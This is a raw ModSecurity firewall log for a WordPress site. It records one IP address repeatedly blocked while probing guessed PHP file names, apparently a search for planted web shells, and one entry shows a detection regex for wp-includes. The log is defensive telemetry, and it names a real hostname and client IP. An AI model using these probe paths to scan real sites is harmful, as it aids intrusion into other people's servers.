[Sun May 03 09:56:30.472630 2026] [:error] [pid 40386:tid 40392] [client 172.173.121.85:5850] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "afarTlHJDYRXUf3IbRTtYQAAAMQ"]
[Sun May 03 09:56:30.944324 2026] [:error] [pid 40386:tid 40401] [client 172.173.121.85:5863] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "afarTlHJDYRXUf3IbRTtYwAAAM0"]
[Sun May 03 09:56:31.321694 2026] [:error] [pid 40386:tid 40402] [client 172.173.121.85:5887] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "afarT1HJDYRXUf3IbRTtZAAAAM4"]
[Sun May 03 09:56:31.708129 2026] [:error] [pid 37126:tid 37166] [client 172.173.121.85:5143] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "afarT_R_A42N-LtDyrvrKgAAAA0"]
[Sun May 03 09:56:32.121538 2026] [:error] [pid 40386:tid 40390] [client 172.173.121.85:5146] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "afarUFHJDYRXUf3IbRTtZQAAAMI"]
[Sun May 03 09:56:32.575526 2026] [:error] [pid 37127:tid 37205] [client 172.173.121.85:5187] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "afarUP8khJXb5O5aWVXy5gAAAFM"]
[Sun May 03 09:56:33.024852 2026] [:error] [pid 37126:tid 37162] [client 172.173.121.85:5743] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "afarUfR_A42N-LtDyrvrLQAAAAk"]
[Sun May 03 09:56:33.423215 2026] [:error] [pid 37127:tid 37201] [client 172.173.121.85:5120] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "afarUf8khJXb5O5aWVXy6AAAAFA"]
[Sun May 03 09:56:33.820361 2026] [:error] [pid 37127:tid 37200] [client 172.173.121.85:5182] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "afarUf8khJXb5O5aWVXy6QAAAE8"]
[Sun May 03 09:56:35.248845 2026] [:error] [pid 37126:tid 37177] [client 172.173.121.85:5172] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "afarU_R_A42N-LtDyrvrLgAAABg"]
[Sun May 03 09:56:35.697613 2026] [:error] [pid 37126:tid 37173] [client 172.173.121.85:5246] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "afarU_R_A42N-LtDyrvrLwAAABQ"]
[Sun May 03 09:56:36.077855 2026] [:error] [pid 40456:tid 40462] [client 172.173.121.85:30302] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "afarVDSujTvwdzEkjSf1FAAAAYQ"]
[Sun May 03 09:56:36.471350 2026] [:error] [pid 37127:tid 37207] [client 172.173.121.85:5716] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "afarVP8khJXb5O5aWVXy7QAAAFU"]
[Sun May 03 09:56:36.844682 2026] [:error] [pid 40456:tid 40475] [client 172.173.121.85:5753] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "afarVDSujTvwdzEkjSf1FgAAAZE"]
[Sun May 03 09:56:37.293770 2026] [:error] [pid 37127:tid 37184] [client 172.173.121.85:5873] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "afarVf8khJXb5O5aWVXy7gAAAEA"]
[Sun May 03 09:56:37.672137 2026] [:error] [pid 37246:tid 37252] [client 172.173.121.85:5828] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "afarVThvYFGNwhnPamqZZAAAAQQ"]
[Sun May 03 09:56:38.062147 2026] [:error] [pid 37246:tid 37250] [client 172.173.121.85:5721] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "afarVjhvYFGNwhnPamqZZQAAAQI"]
[Sun May 03 09:56:38.464490 2026] [:error] [pid 37246:tid 37269] [client 172.173.121.85:5841] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "afarVjhvYFGNwhnPamqZZwAAARM"]
[Sun May 03 09:56:38.848396 2026] [:error] [pid 37246:tid 37264] [client 172.173.121.85:5211] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "afarVjhvYFGNwhnPamqZaQAAAQ4"]
[Sun May 03 09:56:39.224682 2026] [:error] [pid 40386:tid 40406] [client 172.173.121.85:5836] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "afarV1HJDYRXUf3IbRTtZwAAANI"]
[Sun May 03 09:56:39.682249 2026] [:error] [pid 37246:tid 37274] [client 172.173.121.85:5750] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "afarVzhvYFGNwhnPamqZagAAARg"]
[Sun May 03 09:56:49.243421 2026] [:error] [pid 37246:tid 37264] [client 172.173.121.85:30331] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "afarYThvYFGNwhnPamqZggAAAQ4"]
[Sun May 03 09:56:49.655162 2026] [:error] [pid 37246:tid 37259] [client 172.173.121.85:5859] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "afarYThvYFGNwhnPamqZgwAAAQo"]
[Sun May 03 09:56:50.081919 2026] [:error] [pid 37246:tid 37254] [client 172.173.121.85:5142] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "afarYjhvYFGNwhnPamqZhAAAAQY"]
[Sun May 03 09:56:50.471079 2026] [:error] [pid 37246:tid 37265] [client 172.173.121.85:5169] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "afarYjhvYFGNwhnPamqZhQAAAQ8"]
[Sun May 03 09:56:50.876805 2026] [:error] [pid 40456:tid 40469] [client 172.173.121.85:5696] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afarYjSujTvwdzEkjSf1HQAAAYs"]
[Sun May 03 09:56:51.265271 2026] [:error] [pid 40456:tid 40461] [client 172.173.121.85:5174] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afarYzSujTvwdzEkjSf1HgAAAYM"]
[Sun May 03 09:56:51.655073 2026] [:error] [pid 40456:tid 40460] [client 172.173.121.85:5845] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afarYzSujTvwdzEkjSf1IAAAAYI"]
[Sun May 03 09:56:52.076600 2026] [:error] [pid 40422:tid 40444] [client 172.173.121.85:5155] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afarZEHBbBLrXh6PBuuu7QAAAVI"]
[Sun May 03 09:56:52.459109 2026] [:error] [pid 37246:tid 37248] [client 172.173.121.85:30240] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "afarZDhvYFGNwhnPamqZhwAAAQA"]
[Sun May 03 09:56:52.852101 2026] [:error] [pid 40422:tid 40429] [client 172.173.121.85:5170] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "afarZEHBbBLrXh6PBuuu7wAAAUM"]
[Sun May 03 09:56:53.290445 2026] [:error] [pid 40456:tid 40480] [client 172.173.121.85:5140] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "afarZTSujTvwdzEkjSf1IgAAAZY"]
[Sun May 03 09:56:53.673475 2026] [:error] [pid 37127:tid 37196] [client 172.173.121.85:5197] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "afarZf8khJXb5O5aWVXzAwAAAEw"]
[Sun May 03 09:56:54.076409 2026] [:error] [pid 37246:tid 37251] [client 172.173.121.85:5826] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "afarZjhvYFGNwhnPamqZiQAAAQM"]
[Sun May 03 09:56:55.134311 2026] [:error] [pid 37246:tid 37253] [client 172.173.121.85:5227] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "afarZzhvYFGNwhnPamqZigAAAQU"]
[Sun May 03 09:56:55.511996 2026] [:error] [pid 40422:tid 40443] [client 172.173.121.85:5858] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "afarZ0HBbBLrXh6PBuuu9AAAAVE"]
[Sun May 03 09:56:55.894402 2026] [:error] [pid 40456:tid 40465] [client 172.173.121.85:6095] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "afarZzSujTvwdzEkjSf1IwAAAYc"]
[Sun May 03 09:56:57.292313 2026] [:error] [pid 40422:tid 40443] [client 172.173.121.85:30290] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "afaraUHBbBLrXh6PBuuu-AAAAVE"]
[Sun May 03 09:56:57.675578 2026] [:error] [pid 37126:tid 37166] [client 172.173.121.85:5201] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "afarafR_A42N-LtDyrvrPAAAAA0"]
[Sun May 03 09:56:58.067272 2026] [:error] [pid 37126:tid 37164] [client 172.173.121.85:5223] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "afaravR_A42N-LtDyrvrPQAAAAs"]
[Sun May 03 09:56:58.527414 2026] [:error] [pid 40422:tid 40444] [client 172.173.121.85:5224] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "afarakHBbBLrXh6PBuuu_AAAAVI"]
[Sun May 03 09:56:58.902192 2026] [:error] [pid 40422:tid 40447] [client 172.173.121.85:5177] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "afarakHBbBLrXh6PBuuu_wAAAVU"]
[Sun May 03 09:56:59.396310 2026] [:error] [pid 40422:tid 40440] [client 172.173.121.85:5701] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "afara0HBbBLrXh6PBuuvAQAAAU4"]
[Sun May 03 09:57:00.257510 2026] [:error] [pid 40456:tid 40474] [client 172.173.121.85:5878] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "afarbDSujTvwdzEkjSf1JwAAAZA"]
[Sun May 03 09:57:01.637474 2026] [:error] [pid 40456:tid 40478] [client 172.173.121.85:5158] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "afarbTSujTvwdzEkjSf1KgAAAZQ"]
[Sun May 03 09:57:02.067067 2026] [:error] [pid 37126:tid 37172] [client 172.173.121.85:5848] [client 172.173.121.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "afarbvR_A42N-LtDyrvrPgAAABM"]
[Sun May 03 09:57:02.472328 2026] [:error] [pid 40456:tid 40481] [client 172.173.121.85:5175] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "afarbjSujTvwdzEkjSf1KwAAAZc"]
[Sun May 03 09:57:02.935462 2026] [:error] [pid 37126:tid 37153] [client 172.173.121.85:5741] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "afarbvR_A42N-LtDyrvrPwAAAAI"]
[Sun May 03 09:57:03.328983 2026] [:error] [pid 37246:tid 37253] [client 172.173.121.85:5757] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "afarbzhvYFGNwhnPamqZkwAAAQU"]
[Sun May 03 09:57:03.720187 2026] [:error] [pid 40456:tid 40461] [client 172.173.121.85:5874] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "afarbzSujTvwdzEkjSf1LgAAAYM"]
[Sun May 03 09:57:05.108937 2026] [:error] [pid 37126:tid 37152] [client 172.173.121.85:5230] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "afarcfR_A42N-LtDyrvrQgAAAAE"]
[Sun May 03 09:57:05.499308 2026] [:error] [pid 40456:tid 40465] [client 172.173.121.85:5198] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "afarcTSujTvwdzEkjSf1MgAAAYc"]
[Sun May 03 09:57:05.879625 2026] [:error] [pid 40456:tid 40466] [client 172.173.121.85:5184] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "afarcTSujTvwdzEkjSf1NAAAAYg"]
[Sun May 03 09:57:06.269202 2026] [:error] [pid 40456:tid 40477] [client 172.173.121.85:5853] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "afarcjSujTvwdzEkjSf1NgAAAZM"]
[Sun May 03 09:57:06.644602 2026] [:error] [pid 37127:tid 37195] [client 172.173.121.85:5219] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "afarcv8khJXb5O5aWVXzCgAAAEs"]
[Sun May 03 09:57:07.059455 2026] [:error] [pid 37127:tid 37188] [client 172.173.121.85:5183] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "afarc_8khJXb5O5aWVXzDAAAAEQ"]
